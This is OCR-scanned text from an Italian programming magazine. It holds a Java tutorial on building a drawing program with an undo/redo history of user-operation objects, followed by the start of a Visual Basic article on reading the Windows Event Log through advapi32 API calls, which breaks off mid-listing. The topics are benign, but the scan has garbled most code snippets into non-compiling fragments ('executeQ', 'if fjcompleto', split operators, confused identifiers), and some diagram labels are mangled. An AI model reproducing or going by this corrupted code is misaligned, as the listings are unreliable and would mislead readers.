Pacchetti 'interni': classi grafiche, interfaccia, operazioni-utente e strumenti. 



Fig. 2: La struttura di pacchetti. 

Come si può osservare rimarranno separate le fun- 
zioni di pura gestione grafica (graphic) dalle funzio- 
ni di gestione dell'interfaccia [interfaceHandling), e 
dalle classi di gestione delle operazioni effettuate sul 
documento (operationHandling). Il package 'tools' 
raccoglierà degli strumenti utili ma creati ad hoc per 
l'applicazione e quindi non riutilizzabili. Abbiamo 
già creato qualche pacchetto. Perché? Questione di 
stile? Anche ma non solo. I pacchetti sono una sud- 
divisione 'fisica' delle risorse del programma che 
deve corrispondere ad una suddivisione logico -fun- 
zionale. Lo scopo è sapere sempre dove 'mettere le 
mani', qualunque sia la necessità che ci spinge a 
ritoccare il codice. Di seguito estenderemo lo stesso 
concetto alle classi. 



ANNULLA E RIPETI: 
L'IDEA DI BASE 

La difficoltà maggiore nel creare un sistema di ge- 
stione della storia del documento che sia indipen- 
dente dalla natura del documento e dalle funzioni 
implementate per la sua elaborazione risiede pro- 
prio nella impossibilità di definire a priori una 'ma- 
trice' comune di implementazione valida per tutte le 
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operazioni-utente: un conto è annullare o ripristina- 
re un'aggiunta di testo alla pagina di un blocco note, 
un conto annullare o ripetere il cambiamento del 
colore per una porzione di testo o peggio, per una 
certa area di un disegno. L'idea che sta alla base della 
soluzione proposta è questa: creiamo degli oggetti 
operazione-utente indipendenti dallo specifico con- 
testo, ovvero creiamo un'interfaccia che, opportuna- 
mente implementata da tali oggetti ci dia la possibi- 
lità di gestirli tramite un oggetto contenitore riutiliz- 
zabile in ogni programma che voglia rendere dispo- 
nibile questa funzionalità. Il funzionamento del si- 
stema sarà dunque seguente: 

1 L'utente richiede l'applicazione di una certa fun- 
zionalità. 

2 Viene creato il corrispondente oggetto operazio- 
ne-utente che raccoglierà le informazioni neces- 
sarie per poter annullare l'effetto della sua azio- 
ne e potersi ripetere. 

3 L'oggetto viene inserito nella storia del docu- 
mento: in quel momento viene 'attivato' renden- 
do effettiva la sua azione. 

A questo punto, ci si riferirà solamente all'oggetto 
storia per annullare o ripetere l'effetto dell'oggetto 
operazione-utente indipendentemente da chi esso 
sia. Questa breve descrizione serve per farci un'idea 
di quello che succederà e prevenire decisioni avven- 
tate. Sappiamo che l'oggetto storia deve essere un 
contenitore di oggetti operazione-utente, ma va be- 
ne un contenitore qualunque? La risposta è NO! Non 
possiamo utilizzare un contenitore predefinito, 
privo di un limite di capacità, poiché la memoria è 
una risorsa limitata ed ogni oggetto-operazione de- 
ve memorizzare un insieme di dati. Fissiamo quindi 
il numero di operazioni che desideriamo annullare 
ed utilizziamo un più semplice vettore. 



STORIA 

DEL DOCUMENTO 

Il nostro oggetto storia si comporrà quindi di tre me- 
todi. Fondamentale sarà il metodo add: 

public void add(Operation operation) 
{ operazione[prossima++]=operation; 
if (prossima = = maxEventi) 

prossima=0; 
if fjcompleto) 
{ inseriti+ + ; 

attuale+ + ; 

if (inseriti!=attuale) inseriti=attuale; 
if (inseriti = = maxEventi) completo=true; } 
operation .executeQ ; } 

Tale metodo aggiunge la nuova operazione-utente 



in fondo al vettore operazione ed aggiorna il conta- 
tore degli elementi inseriti inseriti ed contatore 
degli elementi attualmente annullabili attuale. Se su 
alcuni elementi viene lanciata una undo: 



public void une 


o() 






{ if (completo) 


completo= 


false; 




if (attuale = = 


0) return; 






attuale—; 


if (prossima = 


= = 0) 






prossima = 


= maxEvent 


; 




operazione[- 


-prossima] 


undo(); 


} 



Operati onsHi story 



operazione: Operation[] 

i-add: void 
t-undo: void 
•■redo: void 



interface 
Operation 



t-exeoute: boolean 
+undo: boolean 

7T~ 



"J 



Package 
it. gadget, 
operation Handling 



Package: 

it.operationHandlin 



Operazionel 



Fig. 3: La struttura delle classi del package it.gad- 
get.operationHandling ed implementazione del sis- 
tema di gestione della storia. 

La variabile attuale viene diminuito ad ogni annulla- 
mento ma inseriti no, poiché ci serve a sapere quan- 
ti elementi sono 'ripetibili', quindi alla successiva 
add se si ha una differenza nei valori delle due varia- 
bili inseriti deve essere allineato ad attuale: le opera- 
zioni-utente annullate e non ripetute vengono rim- 
piazzate dalle nuove. 




L'interfaccia Operation sarà quindi estremamente 
snella: 

public interface Operation 
{ public boolean execute(); 
public boolean undo(); } 



LA FINESTRA 
DELL'APPLICAZIONE 

Il primo passaggio per la creazione del nostro esem- 
pio è la costruzione della finestra. Una finestra ha 
tipicamente bisogno di frequenti adeguamenti 
durante lo sviluppo dell'applicazione: un nuovo me- 
nu, una barra degli strumenti, un'icona, una finestra 
di dialogo... Come rendere il nostro codice a prova 
di modifica? Mi spiego: scrivere in un solo blocco il 
codice necessario a creare la finestra ed i menu ci 




ESECUZIONE 

CODICE 

ALLEGATO 

Decomprimere 
l'archivio all'indirizzo 
preferito. 



AVENDO ECLIPSE: 
seguire il menu File- 
>New->Project, 
scegliere JavaProject 
nella finestra di dialogo 
e premere Next. 
Nella finestra 
successiva scegliere un 
nome di progetto e 
togliere il segno di 
spunta a Use default 
indicando il percorso 
fino alla cartella 
Raffaello dell'archivio 
decompresso. Quindi 
dal menu Run->Run as- 
>Java application. 

DA RIGA DI COMANDO: 
posizionarsi nella 
cartella Raffaello\Bin 
dell'archivio 
decompresso e digitare: 
"java Raffaello" 
rispettando maiuscole 
e minuscole. 
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GLOSSARIO 



TEMPLATE 

Il template è un 

sistema di 

specializzazione delle 

classi a tempo di 

compilazione utilizzato 

in C++: il comando 

Vector<Point2d> punti; 

crea un nuovo vettore 

specializzato: tentare 

l'inserimento di 

qualcosa di diverso da 

un Point2d genera un 

errore a tempo di 

compilazione. 

Prossimamente questo 

meccanismo dovrebbe 

essere disponibile 

anche per Java. 



'costringe' a scrivere nello stesso codice anche la 
gestione delle azioni: ci troviamo la tipica classe che 
implementa ActionListener e WindowLìstener, esten- 
de JFrame, e prevede una miriade di lunghissimi 
metodi! Ogni modifica sarà una maledizione: troppo 
codice. La strategia che consiglio è quindi quella di 
costruire un package interfaceHandling nel quale 
salvare più classi; nel nostro caso tre: ActionHandler, 
che conterrà i JMenuItem necessari al programma 
ed implementerà ActionListener, MenuHandling che 
estenderà ActionHandler implementando la costru- 
zione dei menù e Window che estenderà Menu- 
Handling e costruirà la finestra. Lo schema UML è 
riportato in Fig. 4. 



Suddivisione delle funzioni 
nella e ostruzione di una f nestra. 



Package: ii. interfaceHandling 





ActionHandler 




^annulla: JMenuItem 






+actionPerformed: void 




t 


Menu Handling 




+fi leMenu: JMenu 
+editMenu: JMenu 
+drawControlsMenu: Jmenu 
+helpMenu: JMenu 




t 






Window 






-menu: JMenu Bar 










-createMenu; void 





Fig. 4: La struttura delle classi del package 
it. interfaceHandling. 



Si può notare come un oggetto Window, pur avendo 
accesso ad ogni suo elemento, non debba essere 
modificato per cambiamenti nella gestione delle 
azioni o aggiornamenti dei menù. La stessa logica ri- 
guarda la creazione di un oggetto interno a Window: 
WindowEvents che estende WindowAdapter e serve 
per gestire l'evento di chiusura della finestra. Preve- 
dere oggetti di questo tipo è una saggia abitudine 
che limita e circoscrive le modifiche del codice. 



STRUMENTI 
GRAFICI 'NATIVI' 

Java tratta tutti i supporti grafici 'reali' (monitor, 
stampante...) allo stesso modo attraverso un ogget- 
to detto contesto grafico. Quest'ultimo ha il compito 
di rimappare le informazioni grafiche adattandole al 
particolare supporto fisico. Nel nostro caso, il conte- 
sto grafico dell'applicazione è l'area del disegno. Ora 
per reperire gli strumenti adatti allo scopo dobbia- 
mo decidere cosa il programma dovrà fare. Sicura- 
mente per disegnare sarà opportuno usare il mouse, 
la tastiera è un po' scomoda! Costruiremo dei per- 
corsi tramite connessione di più punti in una linea. 
La linea potrà essere chiusa e si potranno colorare 
sia la linea stessa sia l'area interna. Inoltre, siccome 
una spezzata sarebbe graficamente inefficace, sarà 




Fig. 5: Il punto di controllo e la relativa curvatura del 
segmento. 

opportuno introdurre la possibilità di curvare i seg- 
menti. Il linguaggio rende disponibili due oggetti 
che fanno al caso nostro: Point2D.Double, che è un 
punto con coordinate di tipo Doublé; e GeneralPath, 
che rappresenta un percorso (aperto o chiuso), sup- 
porta tratti rettilinei e con curvatura quadratica, e 
permette di utilizzare i metodi del contesto grafico 
per il disegno di una linea ed il riempimento dell'a- 
rea racchiusa in essa. 



PACCHETTO GRAFICO 
E STRUMENTI UTILI 

Possiamo quindi pensare di introdurre nel pacchet- 
to graphic le seguenti classi: 

1 Sheet, il foglio da disegno, che conterrà il dise- 
gno e la sua storia; 

2 Draw, il disegno, che conterrà una serie di per- 
corsi; 

3 Path, il singolo percorso, che raccoglierà una 
serie di punti. 

Inoltre per utilizzare le curve quadratiche, (un siste- 
ma di curvatura basato sull'introduzione del cosid- 
detto punto di 'controllo'), dovremo rendere distin- 
guibili i punti 'normali' ed i punti di controllo ag- 
giungendo al pacchetto: 

4 Point2d, punto. 

Avremo bisogno di contenitori per i punti ed i per- 
corsi. A tal proposito, notiamo come i contenitori 
previsti dal linguaggio essendo collezioni di Object, 
(il super-oggetto di tutti gli oggetti Java), risultino 
pericolosi. Avendo infatti dichiarato una variabile di 
tipo Point2d con nome punto, ed una variabile Vec- 
tor con nome punti, si rischia di inserire nel conteni- 
tore un Vector anziché un Point2d per un semplice 
errore di scrittura. Questo tipo di errore è estrema- 
mente infido poiché non vi è segnalazione alcuna a 
tempo di compilazione e l'errore risulta evidente 
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soltanto quando, estraendo il Vector ed aspettando- 
ci un Point2d, si genererà un errore di conversione. 
Il problema è stato riconosciuto da Sun che si sta 
attrezzando per rimuoverlo. Nell'attesa, in questo 
progetto si propone la creazione di due contenitori 
specializzati: Point2dVector e PathVector. Le nuove 
classi hanno un Vector come attributo e, in sostanza, 
creano i metodi necessari implementandoli attra- 
verso i metodi di Vector. Si offre anche una soluzio- 
ne alternativa all'uso dell'iteratore: un iteratore 
come attributo delle classi che viene inizializzato 
richiamando il metodo getFirstO e scandisce il vetto- 
re attraverso getNextf). Il vettore è finito quando 
questi metodi restituiscono nuli. Queste due classi 
costituiscono il contenuto del package tools. Lo 
schema dei package graphic e tools è in Fig. 6. 
Possiamo da subito costruire la nostra classe base 
della sezione grafica: la Point2d. 

public class Point2d extends Point2D. Doublé 
{ boolean controllo=false; 

public Point2d(){} 

public Point2d(Point point) 
{ setLocation(point.x, point. y); } 
public void setControl(boolean control) 
{ controllo=control; } 
public boolean isControl() 
{ return controllo; }} 

Più avanti sarà chiaro perché si sia implementato un 
costruttore con parametro di tipo Point. 



Package: awt geom.Point2D Doublé 



Point2D.Double 



-attivo! Path 
-percorsi: PathVector 



Package: 
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-v: Vector — 
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': Vector 
Iterator 



J Vector I L^ Iterator 



Fig. 6: La struttura delle classi dei package it.graphic 
e it.tools. 



CLASSI GRAFICHE 
E METODO PAINT 

Completiamo il discorso sulle classi grafiche, analiz- 
zandone attributi e metodi fondamentali. 
Il foglio contiene il disegno ed essendo testimone di 
tutto quanto gli accade, ne gestisce la storia. Nuovo 
foglio, nuova storia. Inoltre ha un colore di sfondo e, 
siccome gli eventi del mouse scatenanti la nascita di 
nuove operazioni si verificheranno nella sua area, 
possiamo aggiungere un oggetto interno che chia- 
meremo MouseHandler, che estenderà Mouselnput- 



Adapter e sarà aggiunto ai listener del foglio come 
MouseListener e MouseMotionListener. Infine, per 
gestire il contesto grafico, dovrà estendere JCompo- 
nent. Il disegno contiene un vettore di percorsi (di 
cui uno attivo al quale riferirsi con un riferimento 
separato). Infine, il percorso contiene un vettore di 
punti (di cui uno attivo con un riferimento separa- 
to), una variabile booleana per indicare se il percor- 
so è chiuso, i colori con cui colorare il bordo e l'in- 
terno della figura, e l'oggetto gp di tipo GeneralPath. 
Siccome ad ogni modifica dovremo 'ricostruire' il 
nostro 'gp' (non è modificabile!), ci servirà un'ulte- 
riore variabile booleana che chiameremo modifica- 
to ed indicherà quando sia necessaria l'operazione. 
Il metodo più importante per ogni classe grafica è il 
metodo paint(Graphics g). Questo metodo viene 
richiamato dalla VM ogni volta che risulta necessa- 
rio modificare l'aspetto anche solo di una porzione 
del contesto grafico: per esempio se, aprendo un 
menu, la tendina invade lo spazio appartenente al 
contesto. In questi casi il parametro g si riferisce ad 
una porzione dell'intero contesto opportunamente 
definita dalla VM. Per modificare l'intero contesto 
serve una risorsa che non sia limitata a singole por- 
zioni: per successo delle successive operazioni è 
opportuno che la risorsa acquisita tramite g venga 
rilasciata e che si ripristini il contesto complessivo 
attraverso il metodo getGraphicsQ; del foglio. Per 
poter applicare i metodi di gestione grafica messi a 
disposizione da Java dovremo convertire la risorsa 
Graphics in una risorsa Graphics2D. Il metodo paint 
di Sheet fissa la modalità grafica di 'sovrascrittura' 
(ogni punto ha un colore definito esclusivamente 
dall'ultima operazione effettuata su di esso) con 
contesto. setPaintModeQ; in questo modo può can- 
cellare tutto riempiendo l'area del contesto conte- 
stofill(contesto.getClipO); con il colore di sfondo 
contesto.setPaint(sfondo);, dopo aver lanciato il me- 
todo paint di Draw, libera la risorsa parziale e recu- 
pera la risorsa complessiva: 

public void paint(Graphics g) 

{ if (contesto! = null) contesto. dispose(); 

contesto=(Graphics2D)g; 

contesto. setPaintMode(); 

contesto. setPaint(sfondo); 

contesto. fill(contesto.getClip()); 

disegno, pai nt(contesto); 

contesto. dispose(); 

contesto=(Graphics2D)getGraphics();} 

Il metodo update realizza sostanzialmente la stessa 
operazione ma sempre sull'intero contesto: lo use- 
remo noi per aggiornare il disegno. Il metodo paint 
di Draw inizia richiamando il metodo paint di cia- 
scun percorso previsto dal disegno. Quindi eviden- 
zia un punto per ciascun percorso, il cosiddetto 
punto di 'attivazione' che servirà per selezionare gra- 




CONTESTO 
GRAFICO 

Le classi Graphics e 
Graphics2D sono 
entrambe astratte. 
Ai metodi paint viene 
passata una loro 
implementazione, 
specializzata nella 
mappatura del 
particolare supporto 
'fisico'. Graphics2D è 
essa stessa 
un'estensione di 
Graphics: per questo 
possiamo ottenere un 
riferimento a 
GraphicslD con un 
semplice casting di 
Graphic. 
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GLOSSARIO 



MODALITÀ XOR 

Nella modalità XOR 

abbiamo in gioco tre 

colori: quello che 

passiamo a 

setXORMode, quello dei 

punti su cui disegnamo, 

quello con cui 

disegnamo. Di questi 

tre colori viene fatta 

una XOR bit a bit. 

Risultati: 

• se disegno un 

quadretto nero su 

fondo bianco avendo 

passato a setXORMode 

il bianco ottengo un 

quadretto nero, ma se i 

pixel su cui disegno 

sono neri ne ottengo 

uno bianco! 

• se ridisegno lo stesso 

quadretto nello stesso 

punto lo cancello! 



floamente un percorso ed infine evidenzia tutti i 
punti del solo percorso attivo. La variabile booleana 
evidenziaPunti serve a passare in modalità visualiz- 
zazione senza la fastidiosa sottolineatura dei punti: 
vorrete 'godervi' i vostri disegni!. 

public void paìnt(Graphìcs2D g) 
{ Path p=percorsi.getFirst(); 

while (p! = null) { p.paint(g); p=percorsi.getl\lext(); } 

p= percorsi. getFirst(); 

if (ievidenziaPunti) return; 

while (p! = null) 

{ if (p! = attivo) 

p.paintActivationPoint(g); 
p=percorsi.getNext();} 

attivo. paintAsActive(g); } 

Il metodo paint di questa classe deve: fissare la mo- 
dalità di sovrascrittura, decidere se 'ricostruire' il gp, 
colorare l'interno del percorso se questo è chiuso 
g.flll(gp); e colorare il percorso gdraw(gp);, ciascuno 
col giusto colore. 

public void paint(Graphics2D g) 
{ g.setPaintMode(); 

if (modificato) 
{ toGeneralPath(); modificato=false; } 

if (chiuso) 

{ g.setColor(colore); g.fill(gp); } 

g.setColor( bordo); 

g.draw(gp); } 

I metodi di sottolineatura dei punti utilizzano la mo- 
dalità di disegno XOR: in questo caso per rendere 
sempre visibili i quadretti di evidenziazione dei pun- 
ti. Questi si disegnano utilizzando il metodo draw- 
Rect del contesto grafico. Siccome i punti sono il 
materiale 'sensibile' dei nostri disegni è bene che di- 
segnando siano sempre visibili, per dar modo all'u- 
tente di operare graficamente con la massima im- 
mediatezza. PaintAsActive è del tutto simile a Paint- 



Tasto mouse 
premuto 
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tasto tastiera 
alla pressione 


operazionelanciata 
premuto 


sinistro 


punto del percorso attivo 


nessuno 


spostamento punto 


sinistro 


punto dello sfondo 


nessuno 


aggiunta punto al 
percorso attivo 


sinistro 


punto del percorso attivo 


CTRL 


inserimento punto di 
controllo 


sinistro 


punto del percorso attivo 


ALT 


inserimento di un 
nuovo punto 


destro 
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percorso 


nessuno 


attivazione percorso 
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punto dello sfondo 


nessuno 


creazione percorso e 
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CTRL 
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Inoltre: 


se, spostando un punto, lo si rilascia sul precedente 


eliminazione del punto 


se, aggiungendo un punto, lo si rilascia sul punto di 
attivazione del percorso 


chiusura del percorso 


^ TABELLA, h Le operazioni gestite dal mouse. À 



ActivationPoint. 

public void paintActivationPoint(Graphics2D g) 

{ g.setXORMode(sfondo); 

Point2d p=punti.getFirst(); 

if (p! = null) 

g.drawRect((int)p.x-2, (int)p.y-2, 5, 5); } 

Infine guardiamo il metodo di costruzione di gp: es- 
so utilizza il metodo reset per eliminare le informa- 
zioni precedenti, il metodo moveTo per fissare il 
punto d'attivazione del percorso (il primo) ed i me- 
todi lineTo e quadTo per aggiungere tratti lineari o 
con curvatura quadratica al percorso. Se è chiuso, si 
termina la costruzione col metodo closePath. 

private void toGeneralPath() 

{ gp.resetQ; 

Point2d pl = punti.getFirst(), p2; 
if (pl = = null) return; 
gp.moveTo((float)pl.x, (float)pl.y); 
pi = punti. getNext(); 
while (pi! = null) 

{ if (pl.isControlQ) 

{ p2 = punti.getNext(); 
if (p2= = null) break; 
gp.quadTo((float)pl.x, (float)pl.y, (float)p2.x, 

(float)p2.y); } 

else gp.lineTo((float)pl.x, (float)pl.y); 
pl = punti.getl\lext(); } 
if (chiuso) 

{ if (pl! = null && pl.isControlQ) 

{ p2=punti.getFirstElement(); 

gp.quadTo((float)pl.x, (float)pl.y, 

(float)p2.x, (float)p2.y); } 

gp.closePath(); } } 



GIOCARE COL TOPO 

La classe MouseHandler è una classe interna di 
Sheete questo ci garantisce l'accesso al contesto gra- 
fico. Col mouse gestiremo le operazioni riportate 
nella Tab. 1. Tutte le richieste diventeranno oggetti- 
operazione solo al momento del rilascio dei tasti del 
Mouse. 
Si individuano, in questo modo, 3 fasi operative: 

1 pressione dei tasti: si stabilisce quale operazio- 
ne sia necessaria. La classe definirà una serie di 
costanti per la loro individuazione; 

2 trascinamento: si raggiunge il punto di applica- 
zione; 

3 rilascio: si crea l'oggetto operazione. 

Fase 1 - pressione: 

public void mousePressed(MouseEvent event) 
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{ // la classe MouseEvent restituisce un oggetto di tipo Point 

// Quindi è qui che utilizziamo il costruttore 
Point2d(Point) 

inizio=new Point2d(event.getPoint()); 

switch (evento) 

{ case MouseEvent.BUTTONl_DOWN_MASK: 

selectOrAdd(); break; 



default: operazione=NESSUNA; } 



} 



Si noti che, siccome non sappiamo a priori se il cur- 
sore si trovi sopra ad un punto quando il tasto viene 
premuto, saranno necessari ulteriori controlli che 
delegheremo ad altrettanti metodi; selectOrAddO, 
ad esempio, deve decidere se l'operazione da crea- 
re sia una selezione per spostamento di un punto o 
una aggiunta di un nuovo punto. 

Fase 2 - trascinamento: 

public void mouseDragged(MouseEvent event) 
{ if (operazione= = NESSUNA) return; 

Point2d p=new Point2d(event.getPoint()); 

drawLines(p); 

fine=p; } 

Il trascinamento gestisce un aggiornamento conti- 
nuo della posizione del mouse: la nuova posizione 
viene richiesta all'oggetto evento ed assegnata alla 
posizione fine. 




Fig. 7: Trascinando un percorso vediamo spostarsi 
col mouse i punti... 

Il metodo drawLinesf); disegna dei segmenti che 
legano il punto in cui si trova il cursore del mouse 
coi punti 'significativi' del disegno. 

Fase 3 - rilascio: 

public void mouseReleased(MouseEvent event) 
{ fine = new Point2d(event.getPoint()); 

switch (operazione) 

{ case NESSUNA: 

break; 



case MOV_PUNTO: 

if (attivol! = null && fine.distance(attivol)<3) 
storia. add(new DelPointOperation( 

disegno. getActivePathQ)); 
else storia. add(new MovePointOperation( 

fine, disegno. getActivePathQ)); 
break; 

- } 

update(); } 

In questa fase si recupera la posizione finale del 
cursore (fine) e si genera il necessario oggetto-ope- 
razione che viene aggiunto alla storia del disegno e, 
quindi, contestualmente eseguito. Al termine del- 
l'operazione viene lanciato un aggiornamento del 
disegno. 



OGGETTI 
OPERAZIONE-UTENTE 

Gli oggetti operazione utente sono molti ed una di- 
scussione dettagliata sarebbe inopportuna e sopo- 
rifera! Quindi ne vedremo uno a titolo esemplifica- 
tivo: consideriamo MovePointOperation dato che 
sappiamo già come viene lanciato. 

public class MovePointOperation implements Operation 
{ private Point2d posizione, attivo; 
private Path linea; 

public MovePointOperation(Point2d point, Path path) 
{ posizione=new Point2d(); 
linea=path; 

posizione. setLocation( point); 
attivo=linea.getActive(); } 
public boolean execute() 
{ posizione=linea.movePoint(attivo, posizione); 

return true; } 
public boolean undo() 

{ posizione=linea.movePoint(attivo, posizione); 
return true; }} 

La classe è semplice: costruttore raccoglie i dati 
necessari per annullare e ripetere l'operazione (in 
questo caso linea e punto attivi e nuove coordinate) 
quindi implementa in modo opportuno i metodi 
execute ed undo. Il metodo movePoint di Path resti- 
tuirà un Point2d con le vecchie coordinate. 



CONCLUSIONI 

Come avete visto il sistema è abbastanza semplice: 
la complessità del progetto condiziona solo il nu- 
mero delle classi operazione. Nel prossimo numero 
completeremo progetto aggiungendo al nostro 
programma la gestione dei file. 

Stefano Russo 
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Controllo del sistema in Visual Basic 



Gestire l'Event Log 
in Visual Basic 

In questo articolo faremo una panoramica sulle funzioni disponibili 
in Windows capaci di interagire con gli eventlog, mostrando un 
esempio su come sia possibile recuperare informazioni fondamentali. 
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Probabilmente, sarete in molti a conoscere l'u- 
tility Event Viewer a corredo di sistemi operati- 
vi Microsoft. Questa utility consente di moni- 
torare una serie di eventi che si susseguono all'inter- 
no del sistema, dando la possibilità di intervenire al 
momento opportuno. L'Event Viewer classifica que- 
sti record in tre grandi categorie: Application, Securi- 
ty e System. Non è difficile intuire a cosa possano ri- 
ferirsi queste tre tipologie. 



FUNZIONALITÀ 
DEL PROGETTO 

Il progetto allegato al presente articolo è composto 
da due form e da un unico modulo che raccoglie 
tutte le funzioni e le dichiarazioni utili al program- 
ma. La form principale è denominata frmMain e 
consente di recuperare tutti gli eventi da ciascuno 
dei tre eventolog sopra citati. La seconda form, 
frmDettagli, mostra invece i dettagli recuperati su 
ogni singolo record selezionato, senza aggiungere 
ulteriori informazioni. Prima di passare alla descri- 
zione del codice, credo sia opportuno fare una pa- 
noramica sulle funzioni appartenenti alle API di 
Windows che ci consentono d'intervenire sui regi- 
stri d'eventi. Windows dispone di diverse funzioni e 
procedure che ci consentono di poter intervenire 
ed interrogare i registri d'eventi elencati nel box a 
pag. 51. 

Per chiunque avesse necessità di approfondire l'ar- 
gomento, suggerisco il seguente link: http:// 
msdn. microsoft, corri/library len-usl debug/base 
leven tjoggingjìmctions. asp. 
Questa pagina dell'MSDN di Microsoft riporta l'e- 
lenco delle funzioni utili ad interagire con i registri 
d'eventi. Se seguite i riferimenti contenuti al suo 
interno otterrete tutte le informazioni necessarie 
alla costruzione di un completo Event Viewer. 



LA FUNZIONE 

ReadEventLogO 

Tra le funzioni più importanti del set messo a dispo- 
sizione da Microsoft, ovviamente, ci sono quelle che 
si occupano dell'apertura e della lettura delle infor- 
mazioni {record) contenute in ciascun registro. 
La funzione che si occupa di aprire un determinato 
registro è OpenEventLogQ. La sua sintassi è la 
seguente: 

Public Declare Function OpenEventLog Lib "advapi32.dll" 

Alias "OpenEventLogA" (ByVal IpUNCServerName As 

String, ByVal IpSourceName As String) As Long 

Essa accetta in ingresso soltanto due parametri. Il 
primo serve a specificare il nome del server sul quale 
intervenire, mentre il secondo specifica il registro 
eventi da aprire. Il valore di ritorno, se diverso da 
zero, costituisce l'handle che consentirà alla funzio- 
ne ReadEventLogO di leggere i record dal registro 
specificato. Quest'ultima funzione ha la seguente 
sintassi: 

Public Declare Function ReadEventLog Lib "advapi32.dll" 

Alias "ReadEventLogA" (ByVal hEventLog As Long, 

ByVal dwReadFlags As Long, ByVal dwRecordOffset As 

Long, IpBuffer As Any, ByVal nNumberOfBytesToRead 

As Long, pnBytesRead As Long, 

pnMinNumberOfBytesNeeded As Long) As Long 

Rispetto alla precedente, presenta un numero di 
parametri in ingresso decisamente superiore e meri- 
ta qualche considerazione aggiuntiva. Nel box di 
pag. 52 spieghiamo il significato di ciascun valore 
che le viene passato. Iniziamo dal secondo parame- 
tro, dwReadFlags. Quando decidiamo di leggere un 
registro eventi, possiamo farlo in due modalità 
distinte, identificate da due costanti predefinite: 
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• EVENTLOG_SEEK_READ: la lettura comincia 
dal record specificato dal parametro dwRecord- 
Offset; 

• EVENTLOG_SEQUENTIAL_READ: la lettura av- 
viene in modalità sequenziale, cominciando 
dall'inizio. 

Entrambe queste modalità, ovviamente, sono mu- 
tuamente esclusive ossia non possiamo impostare 
una modalità di lettura che sia combinazione di en- 
trambe le costanti. Inoltre, se il flag EVENTLOG_SE- 
QUENTIAL_READ risulta impostato, parametro 
dwRecordOjfset è completamente ignorato. Stabilita 
la modalità d'inizio lettura, è possibile definire l'or- 
dine con cui i record verranno estratti. Anche in que- 
sto caso sono state predisposte due costanti che, 
combinandosi con le precedenti, definiranno la mo- 
dalità di lettura dell' eventlog prescelto: 

• EVENTLOG_FORWARDS_READ: la lettura av- 
viene nell'ordine cronologico di registrazione 
degli eventi; 

• EVENTLOG_BACKWARDS_READ: l a lettura av- 
viene nell'ordine inverso a quello cronologico di 
registrazione degli eventi. 

A questo punto appare piuttosto evidente che il 
parametro dwReadflags va impostato correttamente 
attraverso un OR logico tra il primo gruppo di 
costanti ed il secondo. Ad esempio, se volessimo leg- 
gere un registro eventi dall'inizio, seguendo l'ordine 
cronologico inverso, imposteremo il parametro 
dwReadFlags a EVENTLOG_SEQUENTIAL_READ Or 
EVENTLOG_BACKWARDS_READ. Passiamo quindi 
al parametro IpBuffer. Come anticipato, esso rappre- 
senta il puntatore al vero e proprio contenitore che 
la funzione sfrutterà per destinare i risultati delle 
proprie "ricerche". Questo significa che, quando lan- 
ciamo la funzione, i dati che devono essere letti, 
sono prelevabili a cominciare dall'indirizzo di que- 
sto buffer. La struttura dei dati contenuti all'interno 
di quest'area di memoria è definita dalla struttura 
EVENTLOGRECORD, rappresentata e descritta 
all'interno del Riquadro 1. La particolarità della fun- 
zione ReadEventLogO è che, basandosi sulla dimen- 
sione del buffer puntato da IpBuffer, tenta sempre 
d'inserire quanti più record possibili all'interno di 
esso. Tenendo presente che gli event-record non 
vengono mai inseriti in maniera parziale, è possibile 
leggere, con una sola chiamata, più record alla volta 
facendo bene attenzione a controllare sempre quan- 
do abbiamo raggiunto l'ultima struttura presente 
all'interno del buffer. Questo controllo può essere 
implementato semplicemente valutando il valore 
dei byte letti (dwRead) dalla funzione sino a quando 
non assume valore pari a zero. Se la dimensione del 
buffer dovesse risultare insufficiente a contenere 
un'entry qualsiasi, la funzione ritorna come valore 



zero ed imposta l'ultimo parametro, dwNeeded, al 
corretto numero di byte. Quest'ultima considerazio- 
ne si dimostrerà molto importante e la sfrutteremo 
per l'implementazione della procedura Mostra- 
EventìQ. 



UNO SGUARDO 
AL PROGETTO 

Come già anticipato, il progetto è costituito da un 
form principale, da un secondo form che mostra i 
dettagli dell'evento selezionato e da un modulo, Gè- 




Uisual Basic 




BackupEventLogQ: - permette di salvare un eventlog all'interno di un file di 
backup; 

ClearEventLogQ: - cancella gli eventi presenti all'interno di un eventlog. 
Opzionalmente, è possibile salvare tali record all'interno di un file di backup; 

CloseEventLog(): - chiude un event log precedentemente aperto per la lettura; 
DeregisterEventSourceQ: - chiude un eventlog precedentemente aperto per la 
scrittura; 

GetEventLogInformationO: - raccoglie una serie d'informazioni da un eventlog 
specificato; 

GetNumberOfEventLogRecord(): - ritorna il numero di record presenti in un 
eventlog; 

GetOldestEventLogRecordO: - ritorna il numero di record assoluto dell'evento 
più recente da un eventlog; 

NotifyChangeEventLogQ: - consente di monitorare un determinato evento, 
permettendo di notificare questa situazione all'applicazione; 

OpenBackupEventLogQ: - apre un file di backup precedentemente creato; 

OpenEventLogQ: - apre un event log; 

ReadEventLogO: - legge un certo numero di record da uno specifico eventlog 

RegisterEventSourceO: - ritorna un handle ad un eventlog 

ReportEventQ: - consente la scrittura di un record all'interno dell'eventlog. 



nerale.bas, che contiene tutte le dichiarazioni, le 
procedure e le funzioni disponibili. Quando l'utente 
seleziona uno dei tre registri eventi dall'elenco pre- 
sente all'interno della treeview, viene subito richia- 
mata la procedura ReadEventStatO e le viene passa- 
to il nome del registro di eventi da aprire. La proce- 
dura è così strutturata: 

Public Sub ReadEventsStat(Evntl_og As String) 
Dim ret As Long "Generico valore di ritorno 
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Elenco cjegli eventi , 












Nro Event ID 


Tipo 
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Fig. 1: Gli eventi visualizzati in frmMain, la forni principale. 
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hEventLog: rappresenta 

l'handle restituito 

dalla funzione 

OpenEventLogO; 

dwReadFlags: questo 

parametro indica la 

modalità di lettura del 

registro; 

dwRecordOffset: 

rappresenta il numero 

di record da leggere; 

lpBuffer: rappresenta il 

buffer che conterrà i 

gruppi di dati letti 

dalla funzione; 

nNumberOfBytesToRead: 
dimensione del buffer; 

pnBytesRead: numero di 
byte letti; 

pnMinNumberOfBytesNee 

ded: numero di byte 

richiesti per leggere la 

successiva entry. 




Fig. 2: I dettagli relativi ad un singolo evento. 



Dim OldestRecord As Long "Record più vecchio 
Dim NumeroRecords As Long "Numero totale degli 

eventi presenti 
'Nome del server dal quale leggere gli eventi di log 

NameOfServer="127. 0.0.1" & Chr$(0) 

'Apri il registro richiesto, ottenendo l'handle ad esso 

ViewLog=OpenEventLog(NameOfServer, EvntLog) 

'Se il tentativo è fallito... 

If ViewLog=Null Then 

MsgBox "Non è possibile aprire il registro degli eventi 

